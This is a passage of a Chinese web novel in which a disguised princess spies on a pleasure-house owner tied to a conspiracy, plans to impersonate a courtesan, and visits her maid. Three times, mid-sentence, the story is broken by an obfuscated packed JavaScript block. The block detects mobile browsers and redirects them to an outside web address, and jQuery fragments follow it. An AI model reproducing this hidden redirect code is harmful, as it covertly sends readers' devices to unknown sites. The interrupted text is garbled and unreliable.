外面的人并没有直接闯入房间的胆子，在门外小心询问道：“公子可休息好了？县令在衙门等您——” 蔺甘棠起身走到门前，路过床榻时往底下瞄了一瞄，见无大事，嘴角微不可察地弯了一弯，随即抬手拉开了房门。 门外小厮一副谄媚的样子，“公子这边请，马车已经给您备好了。” 步笑安在床底漏出一双眼睛，正巧看着蔺甘棠的侧影。 只见他微微一笑，“不急，这还一人呢。华芝姑娘本公子带走了。” 那小厮微微一愣，瞪大了眼睛，着实有些不知所措，“这——这——” 蔺甘棠两手一握，放在身前，下颌微抬，“本公子就这点事情要求，都做不到？” 耳歪眼斜的小厮有些为难，“公子有所不知，这华芝是我们这里最受看中的姑娘，多少公子就为了看她一舞，再说，再说，义母是不会答应的。” 闻言，蔺甘棠步步紧逼，那小厮吓得直倒退，眼看着就要从台阶上摔下去，他这才停了脚步，“本公子再问一遍，华芝我能不能带走？” 小厮哭笑不得，连连摆手，“哎哟喂，我的公子啊，您就别为难我一个小厮了，我这就替您去问问——” 就在这时，远处一道妩媚且浑厚的声音从三楼传来，就连躲在床底的步笑安都听了个清清楚楚。 “不用问了。我做主，这人就归公子了。” 出声的那女人从三楼顺着绫罗从空中降下，脚尖点地，最后身子平稳地停在了小厮旁边，不过须臾小厮便藏在了她身后，她对蔺甘棠行了一礼。 紫袍轻纱在身，来人身姿曼妙，年轻时必定是国色天香。 步笑安顺着缝隙眯起眼，仔仔细细将那女人的身形映在脑袋里。 她眉头一皱，此事绝不简单，这女人，她见过，正是半夜去章州县衙的那黑袍女子。 那日惊鸿一瞥，她断然不会弄错。 只听那女人又出言道：“夜坊的姑娘都是我的女儿，但独独华芝最受我的青睐。公子就这么把人要走，倒是像是挖了我心头肉一般难受。” 蔺甘棠沉默着将此女子打量了一番，“你是——” 女人脸上浮现了一抹笑容，紫袍在她身下划过一道漂亮的弧度，“在下夜坊坊主，郑慧。” 他挑挑眉，唇角一勾，“失敬失敬。”他一顿，“如此宝贝，坊主怎会舍得割舍于我？” 郑慧摇摇头，又点点头，看样子却着实是心里矛盾，“我虽心疼，却希望我夜坊里的每一个姑娘都寻到良人。看公子这般人物中意我们华芝，自然是她三生有幸。” 略带风霜的她唇一抿，道：“只是，公子许我之后常与她相见便好了。” 芍药房内，步笑安在床底下贴着地板如实地听着，扬了扬眉。 这岂不是得来全不费工夫？ 蔺甘棠微微一笑，“既然坊主有心，那便如此定了。” 22. 党羽 步笑安伏在床下，轻轻一滚，身形灵巧地翻到了门扉后沿。 借着镂空门扉的缝隙俯身窥去，这一刻，她彻底笃定了心中的猜测——夜坊主人郑慧，果然就是那名黑袍女子无疑。 郑慧眉间弧度上挑，细长而锐利，中间却隐隐透出一道断痕。 “那么——华芝姑娘我就带走了。”蔺甘棠展开扇子微微一笑，手臂轻抬。 楼梯处传来脚步声，紧接着，匆匆而来的两名侍卫步伐轻快，径直上楼而至，恭敬地垂手等候。 步笑安闻言迅速收回脑袋，隐藏在床下，悄然观察者四周状况。 蔺甘棠微微一招手，那两位侍卫便直入房间，见华芝姑娘还睡着，左右无措地停在了床前。 二位侍卫见到此情形，一时之间不知如何下手，抱拳道：“公子——” 蔺甘棠稍稍一回头，“姑娘昨日酒醉，怕是一时难以醒来。无妨，你们二人好生将人带出去。” 这话一出，郑慧顿时觉得不对劲，“且慢——” 只听那郑慧眉头一皱，“公子如此行径怕不是不妥吧。华芝好歹是我夜坊的人，之后等人醒后自己再去县衙也不迟。” 步笑安心中一咯噔。若是华芝姑娘醒来，不知道这姑娘会是什么样的反应，如若之后跟郑慧如实说出，那便不好了。 所以，华芝姑娘只能现在走。 显然这个事情蔺甘棠也是想到了的，他轻摇折扇，“坊主此话不妥，既然此人归了我，那便是自然是由我做主。莫不是坊主想管我的私事？” 坊主像是没有想到此人行事竟如此霸道，一时之间却是愣了愣，“自是不敢。” 她眼眸微垂，倒像是压抑着自己，最后还是吐了口，语气颇重，看得出来是有些恼，“华芝是个好姑娘，还望公子能善待她。” 堂内一阵冷风吹过，蔺甘棠语气微凉，盯着她弯起了唇，“这是自然。”他顿了顿，“带走！” 郑慧微惊。 “带走”这二字听在郑慧的耳里着实不像是一夜温存过的样子，她面露狐疑，又道：“公子这是作甚，我们华芝可曾得罪了您？” 看看时辰已然是天色大亮，蔺甘棠步伐从容地迈步走向楼梯，路过郑慧时凤眼微眯，他声音低沉，“坊主这是何意？” 这话一出，郑慧倒是一个字儿都不敢多说了。 空气间弥漫着无言的沉寂，充满着压迫感，风微微刮过，门发出吱呀一声。 二人之间再无言语，郑慧默默退后一步，微垂眼眸，做了个请的手势。蔺甘棠不再言语，抬腿迈下楼去。 步笑安安安静静在床底下，默默看着这两双靴子没一会儿也跟着双双走出门。 她默默探出头，只见一侍卫托着华芝姑娘的肩膀，一侍卫抱着华芝姑娘的脚腕，姿势妖娆地消失在了她的视线。 偌大的房间里再无一丝声息。 步笑安手脚刚离地，准备起身，哪知门外传来一声清脆的破碎声——像是瓷碗被摔碎在地的声音，伴随一道怒声：“竟如此不把我夜坊放在眼里！” 闻得此言，步笑安心下一凛，又退回了床下。 能说出此言这还能是谁？必然是那夜坊坊主，郑慧。 步笑安扶额，看来她天生就是听人墙角的一把好手。先是在县衙，再是客栈，这回又是在这夜坊，她倒是练就一身千里耳的本事。 耳听得一旁小厮试探着劝解道：“坊主，您为何不据理力争？华芝姑娘可是咱们的头牌，怎能就这么让人带走？” 郑慧冷哼一声，显然气不打一处来，“你知道什么？华芝被带走可是妙得很，正和我的心意。不过——” 那小厮不明所以，“坊主，华芝带走能有什么好的，不白白让那人，捡了个便宜？再说你看今日那人的样子，华芝姑娘能有好日子过？” 郑慧冷笑一声，道：“只要她在他身边就有机会，何时听说那人身边养过女子？只要她抓住了他的心，我们的大计可就有眉目了。” 她顿了顿，“今日之事我郑慧忍了，也罢，只要华芝在我的掌控之下，大计一成，他自不会有好下场。” 大计？ 床底下的步笑安有一搭无一搭地在地板上画着圈。他们背后的势力果然还在谋划着什么关乎中晟社稷的事情。 步笑安还想侧耳再听，外面却再没有了声响。 外间的谈话渐渐消失，直至彻底归于寂静。步笑安足足在床底藏了两个时辰，直到坊内人声鼎沸，才趁乱从后窗悄然翻窗而出。 在小巷子里一路飞奔的途中，她便盘算着昨夜怕不是阿箬等着急了，她本想着先去寻阿箬的位置，不过好像二人没有定是去哪家客栈投宿，一时半刻还找不到人。 当下心思微定，转头直接奔中州县衙而去。 中州的县衙明显要比章州要大上几圈，也没有那么多的金墙玉瓦，只是门口的狮子雕刻得是十分气派，栩栩如生，较之章州多了几分庄严厚重。 门外一队衙役拎着刀在周围巡逻。 步笑安是聪明人，自是不会从正门进的。 她扶了扶斗笠，绕到后墙，见此处墙体不高，身形一跃便轻松攀上。然而就在这一瞬，她眼前骤然一黑。 “谁？” 突来的袭击令她心头一紧，头上似被罩了一只麻布袋。步笑安不及多想，反手便是一阵拳打脚踢。 她这几招竟还真奏了效，身后传来一声闷哼，似是踢中了对方。趁势一扯布袋，她抬眼望去，却见蔺甘棠被她踹得后退几步，胸口处映出了一道明显的脚印。 见此情形，步笑安当即明白过来，气恼道：“你耍我玩儿？” 她环顾四周，当下她正处于县衙的客房一角，这客房显然正是蔺甘棠在中州的住所。 当下除了二人在，再无旁人。 “我猜你就会从此处进入县衙。”蔺甘棠捂着胸膛，抬起头，眉眼之间露出一副十分笃定的样子。 “我说过，殿下可以不以身涉险的。若这里是旁人，殿下岂不是又落入了险境？”他从袖子里掏出一条手帕，轻轻掸去胸口的脚印痕迹。 步笑安眯起眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765505|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“若不是你，其他人又怎么会发现我的踪迹？” 她入中州不过短短一日，便已经摸清了永世钱庄的掌柜，甚至已经查出了黑袍人姓甚名谁。她若不事事亲力亲为，又怎么会如此神速地摸清事情脉络？所谓不入虎穴焉得虎子。 “王是怎么猜到我会不多久到这里的？”步笑安抖抖手腕，收回刚才被惊吓到逸散而出的气势。 蔺甘棠摊开手，清凌凌的眸子里透着丝丝深情，“很简单，孤一直坐在这里等殿下，毕竟殿下说了，要假扮华芝姑娘常伴孤的左右。” 步笑安伸手整理了衣衫，顺便拎起了那个麻布袋子细细看去，她淡淡道：“不得已而为之，王何故说的如此深情。” “殿下说的甚是冷淡，孤倒是有些难过了。” 看来他唱戏的功夫还真是有些炉火纯青，黯然神伤的神情在他脸上表现了个淋漓尽致，倒是显得她有多么的薄情寡义似的。 跟他探讨这类的话题，想来是自讨没趣，于是她调转了话题，“有吃的没有，我有些饿了。” 恰逢县衙喜事连连，前些日子刚办完喜宴，倒是也给王端来了不少点心，他指了指自己卧房。 步笑安倒是不客气地踏入了他的领地，坐到桌前，各种糕点看也不看就往嘴里塞。 蔺甘棠看她狼吞虎咽地模样，像是饿得惨了，他摇摇头。 就在步笑安吃东西的同时，他倒是极其的上道，已然唤来了神弓卫在一旁候着。 忙着吃食之余，好在步笑安还记得正事儿，她咽下了最后一口绿豆糕，冲着那个跪在二人面前的神弓卫，道：“第一，你先挨个客栈去找一个叫阿箬的姑娘，然后给她去个话，说是这半个月让她在客栈带着，好好玩玩儿中州，不用管我。” 那神弓卫轻锤胸口，“是，殿下。” 步笑安心稍安，她点点头，又道：“第二件事，跟着张公子，把他平时的行动轨迹告诉我，记住要事无巨细，细到何时上了茅房，上了多久。” “是，殿下。” 待神弓卫彻底消失了踪迹之后，她终于回过头，对着蔺甘棠道：“华芝姑娘已经送走了？” 蔺甘棠此时正立在房间边沿，他斜靠着墙壁，闻言看着她的眼睛，“自然送走了，现在孤的身边只有殿下一人。” “如此——”步笑安闻言，掸了掸衣袖，也懒得搭理他，“殿下知道那黑袍女子的实际身份对吧。” 此话一出，蔺甘棠当即了然再瞒不了她，只是未料到她在此刻提出，“不愧是殿下，我知道那女子是谁，也知道他们背后有着一些不可说的计划。只是，还在追查中。” 步笑安眉头一皱，她本人也不打算藏着掖着，“那夜坊坊主便是那黑袍女子，王也知道？” 蔺甘棠略一挑眉，神情多了几分意外，“这，孤不曾料到。孤只知此人曾在王都出现，与兆远侯有所牵连，便派人暗中跟踪。怎知行踪至章州后竟悄然断了线索。” 他下颌略收，略作沉思，“殿下是怎么知道的？这夜坊的女子难道皆是兆远侯的党羽？” 23. 醉否 “如此隐秘之事，怎可在此处明说。” 步笑安望着四周背着身子走了走，想着身处屋外总是不好谈及此等隐秘之事，于是便推开了客室的门，堂堂正正地走了进去。 客室幽深，颇有一番意境。 步笑安望着床前那棵文竹，伸手碰了碰，转身坐在木椅上，继续道：“运气好恰巧看过那张脸。至于内幕或许可以问问华芝姑娘，她了解的应该会深一些。” 蔺甘棠跟着进去，正准备着侧耳倾听，哪知道自家殿下并不打算详谈。 茶壶被他一只手拎起，停在空中，一连串道歉的话就顺着嘴溜了出来，“华芝姑娘此时怕已出了城。孤的错，太过急了。” 见他如此上道，步笑安瞥他一眼，默默伸出手，任由那茶水填满茶杯，只道：“此事不怪王。” 蔺甘棠回头又给自己斟了一杯茶，垂下的眼睛微微抬起，还是悄咪咪地准备探探口风，“殿下，这是又有何打算了。” 步笑安既然提了这个话题，自然是有一些想法的，这些蔺甘棠都清楚，只是他不知道他家殿下什么时候养成了这么个有话藏着掖着的性子。 “自然是有些想法，王说的对，我平时应该多考虑考虑自己的安危。”步笑安举起茶杯喝了口茶。 中州为王都之外第二大城，又是交通要道，此处自然是好物聚集之所，更何况是茶。那茶的味道醇厚，清香中并无苦味，着实是上品中的上品。 她抿了抿唇，“所以，在我假扮华芝姑娘的这些时日里，还麻烦王保护好我。” 蔺甘棠倒茶的手微微一顿，“这意思是，殿下还是要以身犯险？” 步笑安薄唇一曲。 他猜对了。 华芝姑娘的身份如此重要，既可以接近张公子，又可以探知到那黑袍女子的信息，如此大的诱惑，她步笑安焉有不上道之理。 “若是我没猜错，华芝一直在王的身边，那郑慧定不会坐视不理。这么好的一枚棋子，怎有不用之理？我猜在不久之后她定会联络华芝。” 蔺甘棠一开始自是一路上盯着黑袍女子而来的，如今得知郑慧就是此人的事实，一时之间却并不打算下手，按照以往依然会观望，为的就是调出大鱼。 可是钓鱼，也是需要鱼饵的。 步笑安看他没有讲话，面上颇有些犹豫的样子，“怎么，我说的有错？” 堂堂昏君喜怒本可免于被旁人看出，但蔺甘棠还是露了端倪，他叹了口气，“这鱼饵着实不想让殿下做。” 茶杯落在桌子上，他抿了抿唇，“孤要调出大鱼，势必要让鱼饵入鱼之口，孤难免会有疏漏。” 步笑安站起身来微微俯下来瞧他。 一张灵动的脸突然出现在蔺甘棠的面前，面前的长睫毛忽闪一下，他下意识往后倾了一步。 步笑安微微挑眉，盯着那张好看的脸庞开了口，“王以为我这么多年是怎么过来的？全凭巧合？” 她收回脑袋，又一顿，“不过全凭巧合的话，那王也该相信我的运气。” 蔺甘棠闻言怔了怔，却心中已有了底。听这意思，看样子他家殿下像是没得商量。 瞧着他手指在桌面轻敲，步笑安淡淡地笑了笑，随之道出自己的想法，“那这几天就叨扰王了，若要让这枚棋子物尽其用，势必要让周围的人认定此人备受器重……” 她故意引着他张口。 “所以——”蔺甘棠了然地接过话茬，他轻抚额头，“有什么比时常露脸，经常跟在孤身边更受器重的呢。” 这确实就是步笑安的意思，她点点头，“与其被养在深闺，不如时常跟着外面走动，所以王，这几日要多出去露露面。” 本来蔺甘棠此次是打算低调而行，可没想到中州县令竟然大张旗鼓地将人请了过去。 这低调自然是低调不了，索性反其道而行之。 蔺甘棠伸手抹掉了她肩头落的灰尘，“此事好说，不过殿下的易容术无破绽？” 看着肩头的那只手，她眉头一挑，道：“若不是你事先知道我有这番本领，怕是连王也被我唬住了吧。” 他手倏然放下，掠过她的鼻尖，“殿下唬不住我的。” 远处有鸟雀飞过，停在窗边跳到了文竹的旁边东瞧瞧西看看。 步笑安闻声望去，不知是什么品种的鸟，看到她望过来时惊地蓬松着身体，又飞回了空中。 她收回目光，望向蔺甘棠的眼眸。他清澈的眸子里倒映着一名青年，步笑安始终没有明白她的这些乔装手段究竟是哪里出了问题没有瞒住他，她有点想开口询问，可是这口确是怎么都张不开。 “华芝姑娘平时常用的衣物都整理过了在屋内木箱中。孤还让人去套了一些话，关于华芝姑娘的一些细节都写在册子里。” 见她一时无言，他从袖口中掏出一个卷轴，在空中甩了一个弧度，随手抛了过来。 步笑安伸手顺势接过，那卷轴上还有阵阵木香，淡淡的香气传入鼻腔，很是怡人。 她展开一看，小楷撰写的卷轴简洁干练，俨然就能看出这姑娘从起床到就寝一日的流向，从平时钟爱的香粉香料到爱吃的菜品名字，应有尽有。 “不错。”步笑安打心眼里佩服。 短短一日的时间，竟然能把一个人的行为习惯调查的如此仔细却还不露痕迹，应该说是很有手腕了，“王竟有如此手腕，我果真是有眼不识泰山了。” 闻言，蔺甘棠摆摆手后又垂在腰间，往房间深处走去，“殿下谬赞，光有这些也没有用，没殿下，事情也成不了。说到底还是殿下的本领高。” 这高帽子戴的，还真是挺让人挺舒适的，怪不得人人都喜欢被捧着的感觉。 不过步笑安很快就从这花团锦簇的境况下脱离了出来。 蔺甘棠走到屏风后面，弯下腰低头从箱子中取出了一件大红色的衣衫，“当下有个晚宴，还烦请殿下跟孤一同赴宴。” 步笑安跟着凑过去瞧了瞧，拎过那衣服一看，没想到夜坊的人给自家美人物质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823506|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上竟没有一丝亏欠，倒是舍得下血本。 那红衣上芍药花纹布满全身，一朵朵芍药绣在云锦上，再加上外面的一层轻纱调和，有种犹抱琵琶半遮面的感觉。 她瞧了蔺甘棠一眼，这家家酒扮的，没想到还有人比她入戏还快。 “去就是了。劳驾王移步，我要更衣。” 夕阳西下，二人终究是一道出了院子，县令大人亲自躬身前来招待他们。说是晚宴，但实际上就是跟县令师爷几人，在县衙中腾个地方吃吃喝喝。 此次倒是没有去那夜坊，也许是因为今日之事让众人产生了一种唏嘘之感，不敢再给这位掳走别的美人的机会。试想，若是去一趟夜坊挑一位美人儿，任是谁也承受不住这样的这样的损失。 再说，人已经给他送到，人一多麻烦就多，谁也不想给自己添麻烦不是？ 县令此人倒是周全，美酒珍馐一点不在话下，这顿饭倒是这些天来她吃的最饱的一顿。什么斗鸭掌等闻所未闻的美味珍馐都欢聚一堂。 步笑安冷眼看着周围的诸位官员，吃饱喝足后她隔着面纱，自顾自地给自己斟了一杯酒。 该脱身了。 她执着酒壶的手微微抖动，她一副醉眼惺忪的样子，喝下这最后一壶酒便醉倒在了身边人的身上。 “美人儿这是怎么了？酒量竟如此之差。” 冷风吹过，突然间多了一只大手，在默默按揉她颈间。 有些舒服。 步笑安背在背后的手轻轻扯动蔺甘棠的衣带，抬起她眼中含泪的眸子，道：“大人——妾身醉了。” 此言本似耳语，可奈何还是被人听到了。众人围坐在旁边，欢声笑语正浓，此时却都瞪大了眼睛噤了声。 蔺甘棠直挺挺坐在席间，步笑安能感觉到那人的背后微微有些发直，脖颈间按着她的手又硬了些。 众目睽睽之下，他放下酒杯，垂眸望着她，眼睛里带着些许暗色。 “美人儿这是想回了？” 步笑安身子微动，随后依偎在他身侧点了点头。 眼看着推脱不掉，蔺甘棠低声轻笑，“那便依你。” 袖子一挥，把人圈在怀中不留一丝缝隙，他抬头跟诸位点点头，“美人在怀，诸位先告辞了。” 众官差挥手齐言道：“好说好说。” 好酒好菜比不了美人的诱惑。在众官差面前，昏君蔺甘棠变成了一位十分立体的人物的同时又添了一条新的罪状。 背后的喧嚣声渐行渐远，蔺甘棠揽着美人儿的腰渐渐松开。 花园中万籁俱寂，步笑安自行站稳了身子，她掸了掸自己浑身的酒气。 “这顿饭吃的如何？殿下。” 步笑安没想到这称呼切换的还挺快，“好得很，可惜偶尔吃一顿就够了，不然是真的有点吃不消。” 她揉了揉眼角，“哪像王，酒喝了这么多，一点儿都不像醉的样子。” 走在前面的蔺甘棠回头觑她，“殿下怎知，孤没醉？” 24. 银票 “你醉没醉我不知道？” 步笑安吹着凉风，散了些许酒气，浅浅看了他一眼。凉风划过脸颊如刀一般，这下酒气散的更快了。 蔺甘棠离她只有三步远。虽然天色渐暗，但那人眼里是炯炯有神，亮的很，仿若那夜空中的星星。 他身姿挺拔，稍显正经，若这种姿态叫醉的话，那他最好一只保持着这样的姿态。 蔺甘棠回过身又向前迈腿走了两步，这番样子颇显正经，哪有一点坊间传言掉牙公子的样子。 这下子步笑安更是笃定了他没醉。 毕竟他下盘稳健，走路不拖泥带水，这等正常到不能再正常的行为自然是没醉的表征。 附近的小厮早已被打发走了，二人就这么一前一后，沉默着走回了小院。 穿过拱门，步笑安一个步子就窜进了院子，三下五除二就进了房，鸠占鹊巢了主屋。 她在屏风后面换上夜行衣站在蔺甘棠身侧，淡淡道：“我要出去一趟，王要顾好自己。” 此时的蔺甘棠正倚在塌上，举着一把绿丝边芍药折扇，闭着眼睛扇着风。 一副“美人”卧榻图跃然于眼前。 那扇子打眼一看就是华芝姑娘所持之物，步笑安挑了挑眉。 说起来这屋子里毕竟不怎么严实，还漏风，冻得她都有些打哆嗦，他还扇风？ 那风好巧不巧顺着那扇子的走向就冲她而来，但她毕竟是个活人，有脑子，一个后撤，便让那风随风而去。 她伸手一把躲过蔺甘棠手里的团扇，“王怎好持女子之物，让别人看去了指不定又编排些什么。” 蔺甘棠这才微微睁开眼睛，望着她的眼睛有一些复杂，“这种事情难道殿下都要为孤做主？” 他一顿，将扇子放在身侧，恹恹道：“也罢，就听殿下的。” 指尖摩挲着嘴唇，步笑安盯着他有些疑惑。 你说他醉了吧，表现得好似一个正常人，但你要说他没醉，确实与往常有不同之处。 步笑安抿着唇，看着他转过身半盖上了被子，便也溜出了门。 不想了，她家阿箬怕不是等她等着急了。 步笑安的轻功算是小有成就，可以神不知鬼不觉地翻入八成的府邸，再加上本人对方向感的掌握极佳，很顺畅地寻到了小院当中最易奔上去的地方。 院内正巧有棵树，她左脚一用力便窜了上去，借着树枝的弹性又飞身到了围墙的砖瓦上。 她单脚跪在瓦片之上，侧目往下看，下面街道空无一人，只是远处有着巡查之人在打着灯笼一晃一晃地越走越近。 “殿下。” 步笑安的耳边传来神弓卫的声音，她侧眼一看，原来是金令主在她的身后。 他身着一身软甲刀枪不入的样子十分令人心安。 果然回头还是得弄一件软甲来备用。 “怎么？”她轻声道。 金令主在身后做了一礼，道：“殿下，传令给阿箬姑娘的话已经带到，特前来复命。” 步笑安回过身，盯着前方一闪而过的火光，眼睛微眯，“你倒是来的正好，阿箬在哪？” “荣兴客栈，地字房。”金令主轻言。 步笑安记得她在舆图上看到过这个地方，方位在中州的南侧，离县衙不远。 “行，你不用跟来了。” 话音未落，步笑安的身影已经从围墙上一跃而下，彻底融入在了黑夜中。 除却夜坊等夜晚的繁华地界，夜里的中州还是寂静无声的。 步笑安化身影子行走在黑夜中的中州城，悄无声息地路过永世钱庄时，本想再探一探那张公子的府邸。可惜这里面守备森严，已有侍卫驻守，她只能放弃这种想法，径直走过。 她全部身家基本都放在这个钱庄中，银票无法兑现着实对她是一大打击，得想办法尽快解决了这个问题解决掉。 不，不是解决问题了，而是解决人比较快。 穿梭在小巷子中的步笑安瞳孔中精光一闪。 荣兴客栈二楼，小二打着哈欠关上了最后一扇窗，全然没有注意到房檐上半倚着的人影。 步笑安俯身下去，听着再无别的声响，从善如流地将窗户撬开了一条缝，一条腿伸出去落在了地上，随之借着遮挡物掩盖身形，她静悄悄地推开了身侧的门。 屋里一股灰尘味道，看来这荣兴客栈平时也就只是敷衍着打扫，就是个低廉能容身之所而已。 步笑安探头望去，只见一个娇俏的身影立在窗边，正要点燃烛火。 “谁！” 步笑安背在身后的手轻巧地掩上门扉，她转头拉下黑色面罩，露出一张清澈景致的脸，抬眸道：“我。” “小姐！”阿箬睁大眼睛，小心地放下烛台，欣喜若狂地往前小跑了两步。 “一日不见阿箬可有想我？”步笑安一把接住扑上前来的阿箬，捏了捏她的肩膀觉得有些骨感，看样子这些天一路奔波，这丫头都又有些瘦了。 见她还贴着两撇小胡子，步笑安便心知神弓卫花了这么久的功夫才找到她的落脚地是有原因的。 阿箬竖起小脸，一脸的焦急，“小姐——阿箬自然是想你了，你没回来阿箬昨天晚上都没有睡好觉。小姐每次出去阿箬都提心吊胆的，什么时候小姐也能听阿箬的话，不要涉险了。” 步笑安揉了揉阿箬的脑袋，有些啼笑皆非，这丫头说的倒是跟蔺甘棠有一丝相似之处。 莫不是她真的经常去以身犯险？ 但是步笑安倒是懒得去自省，有的时候自省多了反而会欠缺行动力，筹谋需谨慎却也不能光想不做。 “放心吧，我心里有数。”步笑安轻声道。 阿箬握着步笑安的手逐渐松开，脸上的不信任写的是清清楚楚。 摸了摸鼻尖，步笑安想起了正事儿，那些银票放在阿箬这里也是无用，若是之后有机会，倒是可以放在她这里。 “对了，那些废纸银票在哪里？”她询问道。 听闻此言，阿箬拉着她的袖子摇了摇，眉开眼笑地示意她看向床头，“难道，我们的银子有眉目了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832217|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步笑安顺着她的视线看到放在床头的包裹，抬起右手翻了开，拎起了一沓银票，“差不多。” 轻飘飘的银票叠成一沓倒是有些分量，步笑安将它们塞入怀中，转过头与阿箬道：“这些日子你就在这里面住着，这里还有一些银子，你拿着。” 她随手又从袖子里抖出一个金丝钱袋放在包裹中。 “那小姐你呢？”阿箬拽着步笑安衣袖的手再次晃了晃，她的声音有点委屈。 “你就踏踏实实在这里待着，我就在县衙，有些事情需要办，你跟着不太方便。以后我也会晚上过来，这些零碎银子够你在这里住个把月的。你再盘算盘算咱们书肆的事情，看看开在什么地界好，也算帮了我。”步笑安微笑着柔声道。 阿箬神色暗淡的坐在床榻上，有些失落，“小姐你放心，这种事情就交给我，白天我也会去钱庄盯着看有什么新的情况。” 步笑安知道阿箬有些不快，但此次行事着实不宜再带个人，一个人的破绽多少还能掩盖，可是两个人却不好掩盖。 等等。 阿箬无法跟着她去县衙容易冒出破绽，但是不影响她参与自己的其他计划。 突然之间，步笑安心中冒出了个新的想法，她匆匆将刚揣进怀里的银票又拿了出来，数出来十张又放在了阿箬的手中。 她抬起头，吩咐道：“阿箬，你明天帮我个忙，拿着这沓子银票在正午时去永世钱庄，我请你看一场戏。” “看戏？”阿箬呆呆地看着她。 阿箬前一刻还沉浸在被小姐抛弃的失落中，后一刻就被天降的任务砸了个脑袋眩晕。 怎么回事儿？刚刚可没这一回事儿。 步笑安高深莫测地挑了挑嘴角，“对，看戏，一场好戏。” 虽然这剧本还没有完全构思好，不过不妨碍之后精彩剧情的登场。 乌云蔽日的日子，却被冷风吹散了薄雾，露出了一弯白月。 阿箬正琢磨着自家主子的字面意思时，步笑安已经借着月光翻窗溜出了荣兴客栈。 放不下的人已经见到，该交代的事情也交代的清楚，在此久待也不是个事儿。 于是乎，原路返回，步笑安重新借着月光翻上了县衙的围墙。 瓦片之上，步笑安仔细观察着周围的动静。 围墙之下，侍卫仍然举着火把巡视，步笑安眼看着他们缓步绕着围墙走了一圈，这才飞身跃下了墙。 这短短的一圈巡查，步笑安已然将他们的交接方式和巡逻速度记在心中。倘若今后再需翻墙而入，便可轻松许多。 步笑安轻盈地踩着步子步入小院，偶然瞥见主屋内的烛火未熄，心中一动，复又倒退几步。 按道理来说夜色已深，蔺甘棠应该已经就寝了才是，这怎么烛火还亮着？ 步笑安难免心生好奇，于是她悄然靠近窗边，推开一线缝隙，只见桌上红烛摇曳不定。 她略一思索，便绕过窗，径直走向正门进了屋，企图吹熄那尚未燃尽的红烛。 “殿下深夜至此，有何意图？” 25. 戏台 她能有何意图？ 隔着桌，步笑安弯下腰正欲吹灭烛火一口气还没有吐完，闻得此言倒是不着急了。 她连忙收回气息直起身子，伸手拿过烛台，好整以暇地举到眼前细细看去。 透过光亮看清了他露在锦被外面的眉眼，“怎么，王莫非害怕我图谋不轨？” 步笑安似笑非笑，就这么盯着看他慢悠悠地掀开被子一角，在金丝玉缕中的华美床榻上撑起身。 他的发丝有一搭无一搭地胡乱散落在肩侧，白皙的肩膀半露了出来。脸上有一丝丝微红，宴席过了这么久醉意像是终于翻涌上来。 中衣的褶皱尽数映入眼帘，距离床榻三步之外的步笑安睫毛轻掀，略微敛了敛眸，目光游离到别处。 一旁的琉璃花瓶甚是好看。 蔺甘棠的一双眼睛深邃又清澈，紧盯在面前举着烛台的黑色身影上。 那抹身影影影绰绰，在他眼里即使隔着黑衣依旧看得出曼妙身姿。 忽地，他开了口，低声道：“殿下刚回来便入了我这主屋，莫不是有事？” 火苗随着话音又升高了几分。 倒是没什么正经事，只是为了吹个蜡烛。 不过步笑安一想，若只是如此，倒也大可不必。 她究竟是为什么才鬼使神差地入了他这主屋——？ 步笑安心头一转，抬起手轻咳了一声，义正言辞地道：“这屋子明明交予了我，王怎的又回来抢占床榻。” 此时的她，像极了强抢民女的恶霸，不仅要抢了人，还要霸占人家的屋子。 蔺甘棠微微坐直了身子，“哦？” 言下之意很明显：孤何时允的？ 步笑安终是把蜡烛重新放回了桌子上，手覆在面罩上用力往下一拉，找个地方坐下就把一身黑衣袍掀开来随手放在一旁，“王这是忘了。” 听着语气上有些幽怨。 蔺甘棠歪着头想了想，似是没有想起来，“西厢房倒是已经差人整理了，殿下倒是可以去那边休息。” 他同往常有些不同，白衣在身素雅得很，一副端方公子的做派，然脱口而出的话却又把他拽回了昏君的壳子里。 “只不过殿下若是不介意的话，也可在此住下。”他笑了笑。 瞧瞧他又说出了什么混账话，这里只有一张如此华美的床榻，她若在此睡下，他又能睡到哪里去。 步笑安眉头轻轻一跳，“我若在此住下——王去哪里。” 眼看着对话就往不正常的地方飘，她不合时宜地插了句破坏氛围的话，“对了，明日午时，记得陪我走一趟。” 蔺甘棠歪在床头，闻得此言手指尖挽着发丝瞧着她，嘴角依旧挂着那抹笑意，“甘棠自是谨遵殿下号令。” 他稍作一顿，淡淡询问道：“殿下可还满意？” 满意，满意什么？ 这话听着，她倒是妥妥像是个以权压人的人一样，步笑安正过身子不问反答，“这话听着，王，可有不满？” 